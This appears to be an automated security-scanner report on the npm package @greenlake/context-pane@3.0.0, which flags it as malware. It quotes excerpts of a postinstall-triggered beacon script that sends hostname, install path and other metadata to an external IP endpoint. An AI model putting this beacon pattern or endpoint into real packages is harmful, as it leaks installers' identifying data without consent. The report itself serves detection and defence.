@greenlake/context-pane@3.0.0
Compatibility shim.
AI Security Review
scanned 10d ago · by lpm-firewall-aiThe manifest activates a beacon during postinstall, and the beacon sends identifying host and install metadata to a fixed external endpoint. This supports blocking as an installation beacon.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The package's postinstall lifecycle hook runs.
Impact
The endpoint receives identifying host and project path information without installer consent.
Mechanism
beacon.cjs posts host and package metadata to a fixed external endpoint over HTTP.
Attack narrative
During postinstall, the package sends the machine hostname, install path, working directory, and npm version to a fixed external endpoint. This is automatic installation-time disclosure of identifying data without an effective consent gate.
AI rationale
The manifest activates a beacon during postinstall, and the beacon sends identifying host and install metadata to a fixed external endpoint. This supports blocking as an installation beacon.
Evidence
package.jsonbeacon.cjs
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook automatically runs beacon.cjs.
- The beacon sends hostname, install path, working directory, and npm version to a fixed external endpoint.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
7 flaggedpackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
High
Suspicious Lifecycle Evidence
The postinstall hook automatically runs beacon.cjs.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@greenlake/context-pane";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
7 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @greenlake/context-pane@3.0.0.
See all versions of @greenlake/context-pane for other recorded verdicts.
- Avoid installing @greenlake/context-pane@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.